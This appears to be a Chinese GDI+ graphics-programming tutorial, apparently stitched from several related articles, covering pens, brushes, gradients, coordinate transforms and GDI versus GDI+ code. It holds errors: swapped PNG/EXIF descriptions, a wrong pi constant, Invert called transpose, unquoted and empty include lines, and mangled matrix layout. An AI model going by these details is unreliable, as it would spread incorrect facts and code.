(4)、在应用类的InitInstance函数中添加GDI+的初始化代码:
BOOL CGDIPlusApp::InitInstance() { CWinApp::InitInstance(); Gdiplus::GdiplusStartupInput gdiplusStartupInput; Gdiplus::GdiplusStartup(&m_gdiplusToken, &gdiplusStartupInput, NULL); ... }
(5)、在需要绘图的窗口或视图类中添加GDI+的绘制代码:
void CGDIPlusView::onDraw(CDC *pDC) { Graphics graphics( pDC->m_hDC ); GraphicsPath path; // 构造一个路径 path.AddEllipse(50, 50, 200, 100); // 使用路径构造一个画刷 PathGradientBrush pthGrBrush(&path); // 将路径中心颜色设为蓝色
pthGrBrush.SetCenterColor(Color(255, 0, 0, 255)); // 设置路径周围的颜色为蓝芭,但alpha值为0 Color colors[] = {Color(0, 0, 0, 255)}; INT count = 1; pthGrBrush.SetSurroundColors(colors, &count); graphics.FillRectangle(&pthGrBrush, 50, 50, 200, 100); LinearGradientBrush linGrBrush( Point(300, 50), Point(500, 150), Color(255, 255, 0, 0), // 红色 Color(255, 0, 0, 255)); // 蓝色
graphics.FillRectangle(&linGrBrush, 300, 50, 200, 100); } GDI+提供从简单到复杂图形绘制的大量方法,并且我们可以通过对路径和区域的操作构造出更复杂的图形,这在CAD等场合极为有用。当然,在绘图之前我们有必要搞清一些基本内容,如坐标空间、画笔和画刷等。
坐标空间及其变换 在视图和窗口中绘图或定位总是在一个二维坐标系进行,依据作用方法的不同,坐标有多种表示方法,并且各种不同坐标之间可以相互转换。
1. 世界坐标系、设备坐标系和页面坐标系
GDI+为我们提供了三种坐标空间:世界坐标系、页面坐标系和设备坐标系。
世界坐标系是应用程序用来进行图形输入输出所使用的一种与设备无关的笛卡尔坐标系。通常,我们可以根据自己的需要和方便定义一个自己的世界坐标系,这个坐标系称为用户坐标系。例如,前面DrawLine(&newPen, 20, 10, 200, 100);中的坐标都是以这个用户坐标系为基准的,默认时使用像素为单位。
设备坐标系是指显示设备或打印设备坐标系下的坐标,它的特点是以设备上的象素点为单位。对于窗口中的视图而言,设备坐标的原点在客户区的左上角,x坐标从左向右递增,y坐标自上而下递增。由于设备的分辨率不同,相同坐标值的物理位置可能不同。如对于边长为100的正方形,当显示器为640 x 480和800 x 600时的大小是不一样的。
页面坐标系是指某种映射模式下的一种坐标系。所谓映射是指将世界坐标系通过某种方式进行的变换。默认时,设备坐标和页面坐标是一致的。
2. 坐标映射和坐标原点的设置
为了能保证打印或显示的结果不受设备的影响,GDI+定义了一些映射方法和属性来决定设备坐标和页面坐标之间的关系。这些映射方法和属性有:
SetPageUnit和GetPageUnit
这两个属性函数是用来设置和获取每个单位所对应的实际度量单位。它通常可以有下列的值:
UnitDisplay -- 每个页面单位为1/75英寸;
UnitPixel -- 每个页面单位为1个像素,此时页面坐标与设备坐标相同;
UnitPoint -- 每个页面单位为1/72英寸;
UnitInch -- 每个页面单位为1英寸;
UnitDocument -- 每个页面单位为1/300英寸;
UnitMillimeter-- 每个页面单位为1毫米。
例如,或将Ex_GDIPlusDlg示例中的绘图代码修改成:
CPaintDC dc(this); using namespace Gdiplus; Graphics graphics( dc.m_hDC ); graphics.SetPageUnit(UnitMillimeter); Pen newPen( Color( 255, 0, 0 ), 3 ); HatchBrush newBrush( HatchStyleCross,
Color(255, 0, 255, 0), Color(255, 0, 0, 255)); graphics.DrawRectangle( &newPen, 50, 50, 100, 60); graphics.FillRectangle( &newBrush, 50, 50, 100, 60);
则笔画宽度为3,以及矩形的左上角顶点坐标和大小单位都为毫米,其结果如图所示。
SetPageScale和GetPageScale
GDI+的这两个属性函数分别用来设置和获取页面的缩放比例。例如,当上面的绘图代码变成:
... graphics.SetPageUnit(UnitMillimeter); graphics.SetPageScale( (REAL)0.1); Pen newPen( Color( 255, 0, 0 ), 3 ); ...
代码中,REAL是一个浮点类型的定义。上述代码的结果如图2所示。
图2
TranslateTransform
GDI+的TranslateTransform方法用来改变坐标的原点位置,例如TranslateTransform(100, 50)是将坐标原点移到点(100,50)。
画笔 画笔是用来绘制各种直线和曲线的一种图形工具,GDI+的Pen类为画笔提供了丰富的方法。一般来说,我们可以通过其构造函数来指定画笔的颜色和宽度,其定义如下: Pen( const Color& color, REAL width ); 其中,color是用来指定画笔颜色,width用来指定画笔宽度。REAL是一个float类型定义,而Color是GDI+的一个颜色类,它既可以指定一个ARGB颜色类型,也可以使用GDI+预定义的颜色值,甚至可以将COLORREF转换成Color类型的颜色。例如,下面的代码都是创建一个宽度为3,颜色为蓝色的画笔:
Pen newPen( Color( 255, 0, 0, 255 ), 3 ); Pen newPen(Color( 0, 0, 255), 3); // 当Color只有三个实参时,颜色Alpha分量值为255。 Pen newPen(Color::Blue, 3); COLORREF crRef = RGB( 0, 0, 255); Color color;
color.SetFromCOLORREF(crRef); Pen newPen(color, 3);
除了颜色外,GDI+的Pen类还提供SetDashStyle和SetDashPattern方法来设置画笔的预定义风格和自定义类型。其中,预定义风格可以有:DashStyleSolid(实线)、DashStyleDash(虚线)、DashStyleDot(点线)、DashStyleDashDot(点划线)、DashStyleDashDotDot(双点划线)和DashStyleCustom(自定义类型)。例如下列代码,
其结果如图7.6所示:
using namespace Gdiplus; Graphics graphics( pDC->m_hDC ); Pen pen(Color(255, 0, 0, 255), 15); pen.SetDashStyle(DashStyleDash); graphics.DrawLine(&pen, 0, 50, 400, 150); pen.SetDashStyle
(DashStyleDot); graphics.DrawLine(&pen, 0, 80, 400, 180); pen.SetDashStyle(DashStyleDashDot); graphics.DrawLine(&pen, 0, 110, 400, 210);
但是,在工程应用中,预定义风格的画笔有时并不能满足实际的需求,而必须自己定义一些线型,这需要通过SetDashPattern函数来实现。SetDashPattern的原型如下:
Status SetDashPattern( const REAL* dashArray, INT count);
其中,dashArray是一个包含短划和间隔长度的数组,count表示数组的大小。注意,dashArray中的短划长度和间隔长度是成对出现的,例如下列代码是使用自定义类型的画笔,其结果如图7.7所示。
REAL dashVals[4] = { 2, // 短划长为2 2, // 间隔为2 15, // 短划长为15 2}; // 间隔为2 Pen pen(Color(255, 0, 0, 0), 5); pen.SetDashPattern(dashVals, 4); graphics.DrawLine(&pen, 5, 20, 405, 200);
需要说明的是,GDI+的Pen类还提供SetStartCap和SetEndCap方法来设置一条直线的起始端和终止端的样式。例如下面的代码,
其结果如图7.8所示。
using namespace Gdiplus; Graphics graphics( pDC->m_hDC ); Pen pen( Color( 255, 0, 0, 255 ), 15); pen.SetStartCap(LineCapFlat); pen.SetEndCap(LineCapSquare); graphics.DrawLine
(&pen, 50, 50, 250, 50); pen.SetStartCap(LineCapRound ); pen.SetEndCap(LineCapRoundAnchor); graphics.DrawLine(&pen, 50, 100, 250, 100); pen.SetStartCap(LineCapDiamondAnchor); pen.SetEndCap(LineCapArrowAnchor);
graphics.DrawLine(&pen, 50, 150, 250, 150);
画刷和渐变 画刷用于指定填充的特性,GDI+为填充色和阴影线画刷提供了SolidBrush和HatchBrush类。通过它们的构造函数直接可以创建一个画刷,其构造函数的原型如下:
SolidBrush( const Color& color); HatchBrush( HatchStyle hatchStyle, const Color& foreColor, const Color& backColor);
其中,foreColor和backColor用来指定阴影线颜色和填充的背景颜色,背景色可以不指定。hatchStyle用来指定阴影线的样式,它可以是这样的一些预定义样式:HatchStyleHorizontal (水平线)、HatchStyleVertical(垂直线)、HatchStyleForwardDiagonal(上斜线)、HatchStyleBackwardDiagonal(下斜线)、HatchStyleCross(十字线)以及HatchStyleDiagonalCross (交叉线)等。当然,还有许多样式如HatchStyle30Percent(30%填充)、HatchStyleSolidDiamond (实心菱形)等,这里不一一列举。
由于在前面的示例中,对这种简单的画刷的使用已介绍过,因而这里着重讨论渐变画刷的创建和使用。 GDI+提供了LinearGradientBrush和PathGradientBrush类分别用来创建一个直线渐变和路径渐变画刷。 直线渐变是指在一个矩形区域使用两种颜色进行过渡(渐变),过渡方向可以是水平、垂直以及对角线方向。LinearGradientBrush构造函数的原型如下:
LinearGradientBrush(Point & point1, Point & point2, Color & color1, Color & color2); LinearGradientBrush(Rect & rect, Color & color1, Color & color2, REAL angle, BOOL isAngleScalable);
LinearGradientBrush(Rect & rect, Color & color1, Color & color2, LinearGradientMode mode);
其中,point1和point2分别用来指定矩形区域的左上角和右下角点坐标,color1和color2分别用来指定渐变起始和终止的颜色。rect用来指定一个矩形区域的大小和位置,angle用来指定渐变的方向角度,正值为顺时针。isAngleScalable是一个即将废除的参数。mode用来指定渐变的方法,它可以是LinearGradientModeHorizontal(水平方向)、LinearGradientModeVertical (垂直方向)、LinearGradientModeForwardDiagonal(从左下到右上的对角线方向)和LinearGradientModeBackwardDiagonal(从左上到右下的对角线方向)。
需要说明的是,Point和Rect是GDI+新的数据类型,它们和MFC的CPoint和CRect类的功能基本一样,但它们相互之间不能混用。 路径渐变画刷是用渐变颜色来填充一个封闭的路径。一个路径既可以由一系列的直线和曲线构成,也可以由其它对象来构造。路径渐变是一种中心颜色渐变模式,它从路径的中心点向四周进行颜色渐变。PathGradientBrush构造函数的原型如下:
PathGradientBrush(const GraphicsPath* path); PathGradientBrush(const Point * points, INT count, WrapMode wrapMode);
其中,path用来指定一个路径指针,points和count分别用来指定组成路径的一系列直线端点的数组及其大小,wrapMode是一个可选项,用来指定填充的包围模式。一个包围模式用来决定是否在区域内部、在区域外部以及所有区域都填充。默认时,其值为WrapModeClamp,即在区域内部填充。 下面的代码说明了上述两种渐变画刷的使用方法:
Graphics graphics( pDC->m_hDC ); GraphicsPath path; // 构造一个路径 path.AddEllipse(50, 50, 200, 100); // 使用路径构造一个画刷 PathGradientBrush pthGrBrush(&path); // 将路径中心颜色设为蓝色
pthGrBrush.SetCenterColor(Color(255, 0, 0, 255)); // 设置路径周围的颜色为蓝芭,但alpha值为0 Color colors[] = {Color(0, 0, 0, 255)}; INT count = 1; pthGrBrush.SetSurroundColors(colors, &count); graphics.FillRectangle
(&pthGrBrush, 50, 50, 200, 100); LinearGradientBrush linGrBrush( Point(300, 50), Point(500, 150), Color(255, 255, 0, 0), // 红色 Color(255, 0, 0, 255)); // 蓝色 graphics.FillRectangle(&linGrBrush, 300, 50, 200, 100);
结果如图7.9所示。 需要说明的是,画笔和画刷还可使用一个图片来创建。例如下列代码,其结果如图7.10所示。
Graphics graphics( pDC->m_hDC ); Image image(Limage.jpg); TextureBrush tBrush(&image); Pen texturedPen(&tBrush, 10); graphics.DrawLine(&texturedPen, 25, 25, 325, 25);
tBrush.SetWrapMode(WrapModeTileFlipXY); graphics.FillRectangle(&tBrush, 25, 100, 300, 200);
图形几何变换 图形变换一般是对图形的几何信息经过几何变换后产生新的图形。常见二维图形的变换有平移、比例、对称、旋转、错切等。图形几何变换最有效的手段是采用矩阵变换,GDI+就有这样的矩阵类Matrix,它为我们提供了许多变换的方法,如Invert(转置)、Multiply(矩阵相乘)、Rotate(旋转)等。例如下面的代码就是Matrix::Rotate一个例子,
其结果如图7.11所示。
Graphics graphics( pDC->m_hDC ); Pen pen(Color(255, 0, 0, 255)); Matrix matrix; matrix.Translate(40, 0); // 先平移 matrix.Rotate(30, MatrixOrderAppend); // 后旋转 graphics.SetTransform
(&matrix); graphics.DrawEllipse(&pen, 0, 0, 100, 50);
需要说明的是,代码中的MatrixOrderAppend用来指明第二个矩阵(若有)的操作次序是后置的,即matrix1 OP matrix2,OP表示某种操作;若为MatrixOrderPrepend 则表示matrix2 OP matrix1。而SetTransform则指定一个矩阵对点坐标进行变换,新的坐标点(x*,y*)结果可用下列公式来表示:
[x* y* 1] = [x y 1]
= [m11x+m21y+dx m12x+m22y+dy 1]
式中,dx和dy用来指定x和y方向的平移量,若dx = dy = 0,则:
(1) 当m21 = m12 = 0,m11 = -1,m22 = 1时,有x*= -x,y*= y,产生与y轴对称的反射图形;
(2) 当m21 = m12 = 0,m11 = 1,m22 = -1时,有x*= x,y*= -y,产生与x轴对称的反射图形;
(3) 当m21 = m12 = 0,m11 = m22 = -1时,有x*= -x,y*= -y,产生与原点对称的反射图形;
(4) 当m21 = m12 = 1,m11 = m22 = 0时,有x*= y,y*= x,产生与直线y = x对称的反射图形;
(5) 当m21 = m12 = -1,m11 = m22 = 0时,有x*= -y,y*= -x,产生与直线y = -x对称的反射图形;
(6) 而当m11 = m22 = cosq,m21 = -m12 = sinq 时,则进行旋转变换。
例如下列代码,其结果如图7.12所示。
Graphics graphics( pDC->m_hDC ); Pen pen(Color::Blue,3); graphics.DrawLine(&pen, 150,50,200,80); pen.SetColor(Color::Gray); Matrix matrix( -1,0,0,1, 150,50); // 使用第一种情况 graphics.SetTransform
(&matrix); graphics.DrawLine(&pen, 0,0,50,30);
其中,Matrix的构造函数有如下定义:
Matrix( REAL m11, REAL m12, REAL m21, REAL m22, REAL dx, REAL dy);
需要说明的是,除了使用Matrix进行图形变换外,Graphics本身提供相应的变换方法,如RotateTransform(旋转变换)、ScaleTransform(比例变换)和TranslateTransform(平移变换)等。
基本绘图函数 在前面许多示例中,我们已经用到如DrawLine等基本绘图函数。除此之外,还有许多这样的函数,并且每个绘图函数都有其重载形式,这给我们带来了许多方便。表7.1列出这些基本绘图函数。 表1 GDI+常用基本绘图函数
绘图函数
功能描述
DrawArc
绘制一条圆弧曲线,范围由起止角大小决定,大小由矩形或长宽值指定
DrawBezier
绘制一条由一系列型值顶点决定的三次Bezier曲线
DrawBeziers
绘制一系列的三次Bezier曲线
DrawClosedCurve
绘制一条封闭的样条曲线
DrawCurve
绘制一条样条曲线
DrawEllipse
绘制一条椭圆轮廓线,大小由矩形或长宽值指定
DrawLine
绘制一条直线
DrawPath
绘制由GraphicsPath定义的路径轮廓线
DrawPie
绘制一条扇形(饼形)轮廓线
DrawPolygon
绘制一个多边形的轮廓线
DrawRectangle
绘制一个矩形
FillEllipse
填充一个椭圆区域
FillPath
填充一个由路径指定的区域
FillPie
填充一个扇形(饼形)区域
FillPolygon
填充一个多边形区域
FillRectangle
填充一个矩形区域
FillRectangles
用同一个画刷填充一系列矩形区域
FillRegion
填充一个区域(Region)的内部
下面的代码是通过路径用两条样条曲线构造一个复杂的区域,然后填充它,其结果如图7.13所示。
Graphics graphics( pDC->m_hDC ); Pen pen(Color::Blue, 3); Point point1( 50, 200); Point point2(100, 150); Point point3(160, 180); Point point4(200, 200); Point point5(230, 150);
Point point6(220, 50); Point point7(190, 70); Point point8(130, 220); Point curvePoints[8] = {point1, point2, point3, point4, point5, point6, point7, point8}; Point* pcurvePoints = curvePoints;
GraphicsPath path; path.AddClosedCurve(curvePoints, 8, 0.5); PathGradientBrush pthGrBrush(&path); pthGrBrush.SetCenterColor(Color(255, 0, 0, 255)); Color colors[] = {Color(0, 0, 0, 255)}; INT count = 1;
pthGrBrush.SetSurroundColors(colors, &count); graphics.DrawClosedCurve(&pen, curvePoints, 8, 0.5); graphics.FillPath(&pthGrBrush, &path);
1.引言
GDI+是Windows XP中的一个子系统,它主要负责在显示屏幕和打印设备输出有关信息,它是一组通过C++类实现的应用程序编程接口。顾名思义,GDI+是以前版本GDI的继承者,出于兼容性考虑,Windows XP仍然支持以前版本的GDI,但是在开发新应用程序的时候,开发人员为了满足图形输出需要应该使用GDI+,因为GDI+对以前的Windows版本中GDI进行了优化,并添加了许多新的功能。
作为图形设备接口的GDI+使得应用程序开发人员在输出屏幕和打印机信息的时候无需考虑具体显示设备的细节,他们只需调用GDI+库输出的类的一些方法即可完成图形操作,真正的绘图工作由这些方法交给特定的设备驱动程序来完成,GDI+使
得图形硬件和应用程序相互隔离.从而使开发人员编写设备无关的应用程序变得非常容易.
2.GDI+新增功能
(1)渐变的画刷(Gradient Brushes)
GDI+允许用户创建一个沿路径或直线渐变的画刷,来填充外形(shapes),路径(paths),区域(regions),渐变画刷同样也可以画直线、曲线、路径,当你用一个线形画刷填充一个外形(shapes)时,颜色就能够沿外形逐渐变化。
(2)基数样条函数(Cardinal Splines)
GDI+支持基数样条函数,而GDI不支持。基数样条是一组单个曲线按照一定的顺序连接而成的一条较大曲线。样条由一系列点指定,并通过每一个指定的点。由于基数样条平滑地穿过组中的每一个点(不出现尖角),因而它比用直线连接创建的路径更精确。下面是分别使用两种方法创建的图形,一个使用基数样条,一个使用直线。
(3)持久路径对象Persistent Path Objects
在GDI中,路径属于设备描述表(DC),画完后路径就会被破坏。在GDI+中,绘图工作由Graphics对象来完成,你可以创建几个与Graphics分开的路径对象,绘图操作时路径对象不被破环,这样你就可以多次使用同一个路径对象画路径了。
(4)变形和矩阵对象Transformations & Matrix Object
GDI+提供了矩阵对象,一个非常强大的工具,使得编写图形的旋转、平移、缩放代码变得非常容易。一个矩阵对象总是和一个图形变换对相联系起来,比方说,路径对象(PATH)有一个Transform方法,它的一个参数能够接受矩阵对象的地址,每次路径绘制时,它能够根据变换矩阵绘制。下面的图形是一个图形变换前后的例子,变换按照先缩放后旋转完成。
(5)可伸缩区域 Scalable Regions
GDI+ 在区域(regions)方面对GDI进行了改进,在GDI中,Regions存储在设备坐标中,对Regions 唯一可进行图形变换的操作就是对区域进行平移。而GDI+用世界坐标存储区域(Regions),允许对区域进行任何图形变换(譬如如图所示的缩放),图形变换以变换矩阵存储,下面例子是一个区域变换前后的例子(缩放、旋转、平移)
(6)Alpha Blending(混合)
你可能会注意到上面显示的图形,红色未平移区域与变换后区域有一部分交叉区域,这一部分形成的梦幻效果就是由GDI+支持的Alpha Blending(混合)实现的,利用alpha融合,你可以指定填充颜色的透明度,透明颜色与背景色相互融合,填充色越透明,背景色显示越清晰,下图所示的四个椭圆被填充了同样的颜色,但由于拥有不同的透明度而呈现不同的显示效果。
(7)多种图像格式支持.
图像在图形界面程序中占有举足轻重的地位,GDI+除了支持BMP等GDI支持的图形格式外,还支持JPEG(Joint Photographic Experts Group)、GIF(Graphics Interchange Format)、PNG(Exchangeable Image File)、EXIF(Portable Network Graphics)、TIFF(Tag Image File Format)等图像格式,你可以直接在程序中使用这些图片文件,而无需考虑它们所用压缩算法。
(8)其它。
GDI+还将支持其它技术,譬如重新着色、颜色校正、元数据、图形容器,也许这些功能我们会在将来的WindowsXP或者Microsoft VisualStudio。Net中看到.
3.编程模式的改变 Device Contexts(设备描述表), Handles(句柄), 和 Graphics Objects(图形对象)
如果你曾经使用过GDI编写过应用程序,你肯定对设备描述表(DC)的概念非常熟悉,设备描述表是Windows使用的一个数据结构,用于存储具体设备能力和与如何在设备上重绘一些项目的有关属性信息。而且视频设备的设备描述表还与特定的窗口有关。首先你必须获得一个设备描述表句柄,然后在图形绘制时,你把这个句柄作为一个参数传递给GDI图形绘制函数。当然你也可以把它传递给获得或设置设备描述表有关属性的函数。
利用GDI+函数,你不必使用句柄或者设备描述表。相反,你可以简单地创建一个图形对象(Graphics),然后以你熟悉的面向对象的编程方式调用它的方法即可,譬如myGraphicsObject.DrawLine(parameters)。Graphics对象是GDI+的核心,正如设备描述表是GDI的核心一样,设备描述表(DC)和图形对象(Graphics)在不同的环境下扮演着同样的角色,发挥着类似的作用,但是两者也存在着这质的不同。前者使用基于句柄的编程方法而后者使用面向对象的编程方法。
图形对象和设备对象一样,与屏幕的显示窗口有关,它包含着与项目重绘有关的属性信息(譬如平滑度),然而图形对象并没有像GDI那样与Pen(画笔)、Path(路径)、Image(图像)、Font(字体)等搅在一起。在GDI中,所有与绘图有关的绘图对象必须选入指定设备描述表中(使用SelectObject函数),才能被指定的设备描述表所使用。而在GDI+中,你只需把这些绘图对象作为一个参数传递给图形对象Graphics方法调用即可,每一个图形对象所使用的绘图工具至于它调用方法使用的参数有关,它可以通过参数使用多种Pen和Brush绘图,而不是与特定的笔和画刷联系在一起。
下面的代码分别用两种方法实现红线的绘制,其中线宽3,起点(20,10),终点(200,100)
GDI
HDC hdc;
PAINTSTRUCT ps;
HPEN hPen;
…
hdc = BeginPaint(hWnd, &ps); 获得设备句柄,开始绘制
hPen = CreatePen(PS_SOLID, 3, RGB(255, 0, 0));创建红色画笔,宽3
SelectObject(hdc, hPen); 选入设备描述表
MoveToEx(hdc, 20, 10, NULL); 画线
LineTo(hdc, 200, 100);
EndPaint(hWnd, &ps); 结束绘制
GDI+
HDC hdc;
PAINTSTRUCT ps;
Pen* myPen;
Graphics* myGraphics;
…
hdc = BeginPaint(hWnd, &ps);
myPen = new Pen(0xffff0000, 3); 创建一个笔,宽3,红色
myGraphics = new Graphics(hdc); 利用设备句柄创建图形对象
myGraphics->DrawLine(myPen, 20, 10, 200, 100);调用图形对象画线的方法
EndPaint(hWnd, &ps);
四 如何使用GDI+
GDI+并不是Windows XP的专利,它同样可以在其它Windows操作系统下使用(不包括Win3.X),包括64位的Windows版本,按照微软官方的话说,GDI+支持所有基于Windows的应用程序。你只要把GDIPlus.dll拷入Windows的系统目录,即可使用需要GDI+支持的应用程序。Microsoft Visual C#全面支持GDI+,Microsoft Visual C++.net
使用GDI+有两种方法,一种方法是通过托管(managed )的应用程序实现,另一种方法是在非托管项目中借助于调用C++面向对象类实现。
下面是一个基于Win32 SDK的窗口程序。使用要包含GDIplus.h头文件,连接设置要包含GdiPlus.lib库文件。
#define UNICODE
#include
#include
using namespace Gdiplus;
void OnPaint(HWND hWnd)
{
HDC hdc;
PAINTSTRUCT ps;
hdc = BeginPaint(hWnd, &ps);
Graphics graphics(hdc);
Pen pen(Color(255, 0, 0, 255));
graphics.DrawLine(&pen, 0, 0, 200, 100);
EndPaint(hWnd, &ps);
} // OnPaint
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE,
PSTR szCmdLine, int iCmdShow)
{
HWND hWnd;
MSG msg;
WNDCLASS wndClass;
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
// GDI+ 初始化
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
wndClass.style
= CS_HREDRAW | CS_VREDRAW;
wndClass.lpfnWndProc = WndProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInstance;
wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndClass.hCursor
= LoadCursor(NULL, IDC_ARROW);
wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = TEXT("GettingStarted");
RegisterClass(&wndClass);
hWnd = CreateWindow(
TEXT("GettingStarted"), // window class name
TEXT("Getting Started"), // window caption
WS_OVERLAPPEDWINDOW, // window style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
CW_USEDEFAULT, // initial x size
CW_USEDEFAULT, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL); // creation parameters
ShowWindow(hWnd, iCmdShow);
UpdateWindow(hWnd);
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
GdiplusShutdown(gdiplusToken); 关闭GDI+
return msg.wParam;
} // WinMain
LRESULT CALLBACK WndProc(HWND hWnd, UINT message,
WPARAM wParam, LPARAM lParam)
{
switch(message)
{
case WM_PAINT:
OnPaint(hWnd);
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
} // WndProc
综上所述,我们可以看出使用GDI+进行图形编程更容易,功能更强大,GDI+不仅是Microsoft Visual
Studio.net的组成部分,也是WindowXP的重要组成部分,未来是GDI+的天下,GDI将逐渐退出历史舞台,这是大势所趋,不可逆转。早日锁定GDI+是你明智的选择。
仿射变换可以理解为
・
对坐标进行放缩,旋转,平移后取得新坐标的值。
・
经过对坐标轴的放缩,旋转,平移后原坐标在在新坐标领域中的值。
如上图所示,
XY 坐标系坐标轴旋转θ,坐标原点移动( x0
, y0 )。
XY
坐标系中的坐标( X ,
Y ),则求新坐标系 xy
中的坐标值的方程组为 :
X = X
・cos θ -
Y ・sin θ
+ x0
Y = X
・ sin θ
+ Y ・cos
θ + y0
写成矩阵形式为
| x |
| cos θ
sin θ
| | x0 |
|
| = | X Y | * |
| + | |
| y |
| -sin θ
cos θ
| | y0 |
为将原点移动的值放入矩阵,则可以加入一个不影响原方程组的解的冗余方程。于是可以写成
X = X
・cos θ -
Y ・sin θ
+ x0
Y = X
・ sin θ
+ Y ・cos
θ + y0
1 = X
・ 0 + Y ・
0 + 1
写成矩阵形式为
| x |
| cos θ
sin θ
0|
| y | = | X
Y 1 | * | -sin θ
cos θ
0|
| 1 |
| x0 y0
1|
这个矩阵就是 Helmert
变换 矩阵。
考虑到新坐标系对于原坐标系在 x
, y
两个坐标轴上的放缩率,可分别表示为 λ x
和λ y
,则 Helmert
变换方程组可以修改为
X = (
λ x)X ・cos
θ - (
λ y)Y ・sin
θ + x0
Y = (
λ x)X ・ sin
θ + (
λ y)Y ・
cos θ + y0
同样按照前述方法写成三阶矩阵为
| x |
| (
λ x) cos
θ (λ
x) sin θ
0|
| y | = | X
Y 1 | * | ( λ
y)-sin θ (
λ y) cos
θ 0|
| 1 |
| x0 y0
1|
这个矩阵就是
affine 变换矩阵,仿射矩阵。
GDI+
GDI
//
清空背景
SolidBrush brush(Color(255, 255,255,255));
using namespace Gdiplus;
pGraphics->FillRectangle(&brush,0,0,m_winWidth,m_winHeight);
//
画笔准备
int PenWidth =
theApp.m_optionDlg.m_iSliderPenWidth;
Pen pen(Color(255, 0, 0, 255), PenWidth);
Pen pen2(Color(255, 255, 0, 0), PenWidth);
//-------------------------------------------
//
画对角线
pGraphics->DrawLine(&pen,pRect->left,pRect->top,pRect->right, pRect->bottom);
pGraphics->DrawLine(&pen,pRect->right,pRect->top,pRect->left, pRect->bottom);
//-------------------------------------------
//
画格子
for (int y = 0; y < m_winHeight; y += 10) {
pGraphics->DrawLine(&pen, 0, y, m_winWidth, y);
}
for (int x = 0; x < m_winWidth; x += 10) {
pGraphics->DrawLine(&pen, x, 0, x, m_winHeight);
}
//-------------------------------------------
//
画圆弧
pGraphics->DrawArc(&pen2, 0,0, 100,100,
0.0f,360.0f);
//-------------------------------------------
// 画填充多边形
SolidBrush fillPolyBrush(Color(128, 255, 0, 0));
Point point1(100, 100);
Point point2(200, 130);
Point point3(250, 160);
Point point4(150, 200);
Point point5( 70, 130);
Point points[5] = {point1, point2, point3, point4, point5};
pGraphics->FillPolygon(&fillPolyBrush, points, 5);
//-------------------------------------------
//
字符串
if (theApp.m_optionDlg.m_strDrawString
!= "") {
// UNICODE
字串变换
_bstr_t bstr(theApp.m_optionDlg.m_strDrawString
);
Font myFont(L"Arial", 42);
PointF origin(
0.0f, 0.0f);
SolidBrush blackBrush(Color(255, 0, 0, 0));
StringFormat format;
format.SetAlignment
(StringAlignmentCenter);
pGraphics->DrawString(
bstr,
bstr.length(),
&myFont,
origin,
&blackBrush);
}
//
清空背景
CBrush brush;
brush.CreateSolidBrush
(RGB(255, 255, 255));
// 初始画刷保存
CBrush OrigBrush;
CBrush *pTmpBrush = (CBrush*)pDC->SelectObject(brush);
OrigBrush.FromHandle
((HBRUSH)pTmpBrush);
pDC->Rectangle(pRect);
pDC->SelectObject(&OrigBrush);
brush.DeleteObject
();
//
画笔准备
int PenWidth =
theApp.m_optionDlg.m_iSliderPenWidth;
CPen pen(PS_SOLID, PenWidth, RGB(0, 0, 255));
CPen pen2(PS_SOLID, PenWidth, RGB(255, 0, 0));
// 初始画笔保存
CPen OrigPen;
CPen *pTmpPen = (CPen*)pDC->SelectObject(pen);
OrigPen.FromHandle
((HPEN)pTmpPen);
//-------------------------------------------
//
画笔准备
pDC->MoveTo(pRect->left, pRect->top);
pDC->LineTo(pRect->right, pRect->bottom);
pDC->MoveTo(pRect->right, pRect->top);
pDC->LineTo(pRect->left, pRect->bottom);
//-------------------------------------------
//
画格子
for (int y = 0; y < m_winHeight; y += 10) {
pDC->MoveTo(0, y);
pDC->LineTo(m_winWidth, y);
}
for (int x = 0; x < m_winWidth; x += 10) {
pDC->MoveTo(x, 0);
pDC->LineTo(x, m_winHeight);
}
pDC->SelectObject(&OrigPen);
pen.DeleteObject
();
//-------------------------------------------
//
画圆弧
long width, height;
POINT
cpos;
double
r,srad,erad;
const double m_pi =
3.1415926535758932;
width = 100 - 0;
height = 100 - 0;
cpos.x = 0 + (long)(width /
2.0);
cpos.y = 0 + (long)(height /
2.0);
r = max(width /
2.0, height / 2.0);
srad = 0.0 * m_pi /
180.0;
erad = (0.0 +
360.0) * m_pi / 180.0;
pTmpPen = (CPen*)pDC->SelectObject(pen2);
pDC->Arc(0,0, 100,100,
cpos.x + (long)(r * cos(srad)),
cpos.y + (long)(r * sin(srad)),
cpos.x + (long)(r * cos(erad)),
cpos.y + (long)(r * sin(erad)));
pDC->SelectObject(&OrigPen);
pen2.DeleteObject
();
//-------------------------------------------
// 画填充多边形
CBrush fillPolyBrush;
fillPolyBrush.CreateSolidBrush
(RGB(255, 0, 0));
pTmpBrush = (CBrush*)pDC->SelectObject(fillPolyBrush);
CPoint point1(100, 100);
CPoint point2(200, 130);
CPoint point3(250, 160);
CPoint point4(150, 200);
CPoint point5( 70, 130);
CPoint points[5] = {point1, point2, point3, point4, point5};
pDC->Polygon(points, 5);
pDC->SelectObject(&OrigBrush);
fillPolyBrush.DeleteObject
();
//-------------------------------------------
//
符串
if (theApp.m_optionDlg.m_strDrawString
!= "") {
//UNICODE
字串变换
_bstr_t bstr(theApp.m_optionDlg.m_strDrawString
);
CFont myFont;
CFont OrigFont;
myFont.CreatePointFont
(420, "Arial");
CFont *pTmpFont = (CFont*)pDC->SelectObject(myFont);
OrigFont.FromHandle
((HFONT)pTmpFont);
CBrush blackBrush;
blackBrush.CreateSolidBrush
(RGB(0, 0, 0));
pTmpBrush = (CBrush*)pDC->SelectObject(blackBrush);
//pDC->SetTextAlign(TA_CENTER);
pDC->TextOut(0, 0, bstr,
bstr.length());
pDC->SelectObject(&OrigFont);
myFont.DeleteObject();
